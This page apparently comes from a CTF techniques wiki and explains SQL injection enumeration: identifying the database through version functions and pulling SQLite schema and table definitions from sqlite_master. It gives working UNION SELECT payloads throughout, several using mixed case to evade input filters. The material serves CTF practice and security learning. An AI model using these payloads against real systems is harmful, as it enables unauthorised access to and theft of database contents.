> For the complete documentation index, see [llms.txt](https://sarpers-organization.gitbook.io/ctftricks/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://sarpers-organization.gitbook.io/ctftricks/_chapter-intro-17/sqli/data-extraction/web-sqli-enumeration.md).

# Enumeration

## SQL Injection Database Type Enumeration

Identify the database type by injecting database-specific version functions. Different database systems (MySQL, PostgreSQL, SQLite, SQL Server) use unique built-in functions for version or system information. Injecting these functions helps determine the underlying database based on successful execution or specific error responses.

For example, after initial attempts with standard functions failed, the SQLite-specific `sqlite_version()` function proved successful:

```sql
smokey' uNion sElecT sqlite_version() '
```

Observing a valid output (like `3.31.1`) or the successful execution of the query confirms the database type (SQLite in this case). Note that case variation (`sElecT`) might be necessary to bypass filters.

For other database types, specific functions are used:

* **MySQL and PostgreSQL:** Both databases use the `version()` function to return the database version. An injection might look like:

  ```sql
  ' UNION SELECT version()#
  ```

  or using `null` placeholders if the original query selects multiple columns:

  ```sql
  ' UNION SELECT version(), null, null#
  ```
* **SQL Server:** This database uses `@@version` to retrieve version information. An injection could be structured as:

  ```sql
  ' UNION SELECT @@version--
  ```

Successful execution and retrieval of version strings like `5.7.22` (MySQL), `PostgreSQL 12.1` (PostgreSQL), or detailed build information (SQL Server) indicate the specific database technology in use.

***

## SQL Injection Schema Enumeration (SQLite)

SQLite databases store their schema definition (like CREATE TABLE statements) in the `sqlite_master` (or `sqlite_schema` in newer versions) table. Querying the `sql` column reveals the schema for all tables, views, indexes, and triggers. To get all definitions in one go, especially useful when only a single row is returned, use `group_concat()`.

The `sqlite_master` table contains the following columns: `type`, `name`, `tbl_name`, `rootpage`, and `sql`. The `sql` column contains the original SQL statement that was used to create the object (table, index, view, or trigger).

You can query this table to list database objects or extract their definitions. For instance, to list all tables in the database, you would query:

```sql
SELECT name FROM sqlite_master WHERE type='table';
```

System tables like `sqlite_sequence` are often excluded from results:

```sql
SELECT name FROM sqlite_master WHERE type='table' AND name NOT LIKE 'sqlite_%';
```

To view the schema (the CREATE statement) for a specific table, query the `sql` column and filter by the table name:

```sql
SELECT sql FROM sqlite_master WHERE name = 'table_name';
```

Combining this technique with a UNION SELECT attack allows for extracting schema information. The payload below uses case variation (`uNion`, `sElect`, `fRom`) which can sometimes bypass filtering.

```sql
' uNion sElect group_concat(sql) fRom sqlite_master --
```

Append an appropriate comment marker (`--`, `#`, `/*`, etc.) depending on the injection context. This query extracts the `sql` column from the `sqlite_master` table, concatenating all results into a single string using `group_concat()`.

For a more targeted extraction of just the CREATE statements for user-defined tables, the query can be refined:

```sql
' uNion sElect group_concat(sql, '') fRom sqlite_master wHere type='table' ANd name NOT LIKE 'sqlite_%' --
```

This variation uses `group_concat` with an empty separator (`''`) and filters the results to include only objects of `type='table'` whose `name` does not start with `sqlite_`, effectively excluding internal SQLite tables.

***

## SQLi SQLite Schema Enumeration

SQLite databases store their schema information, including table names, in a special built-in table named `sqlite_master`. To enumerate table names via SQL injection, you can query this table specifically looking for objects of `type='table'`.

A typical payload using `UNION SELECT` after bypassing potential input filters would be:

```sql
' UNION SELECT name FROM sqlite_master WHERE type='table'--
```

This injects a query that selects the `name` column (which holds table names) from `sqlite_master` where the object type is 'table'. The `--` comments out the rest of the original query.

Once table names are identified, the next step is often to enumerate the columns within a specific table. This can also be achieved by querying the `sqlite_master` table, specifically the `sql` column for the target table's entry. The `sql` column contains the original SQL statement used to create the database object, which includes the column names and their types.

To retrieve the column information for a table named `target_table`, a payload could look like this:

```sql
' UNION SELECT sql FROM sqlite_master WHERE name='target_table'--
```

This query selects the `sql` column from `sqlite_master` where the `name` matches the identified `target_table`. The result will be the `CREATE TABLE` statement for `target_table`, revealing its column structure.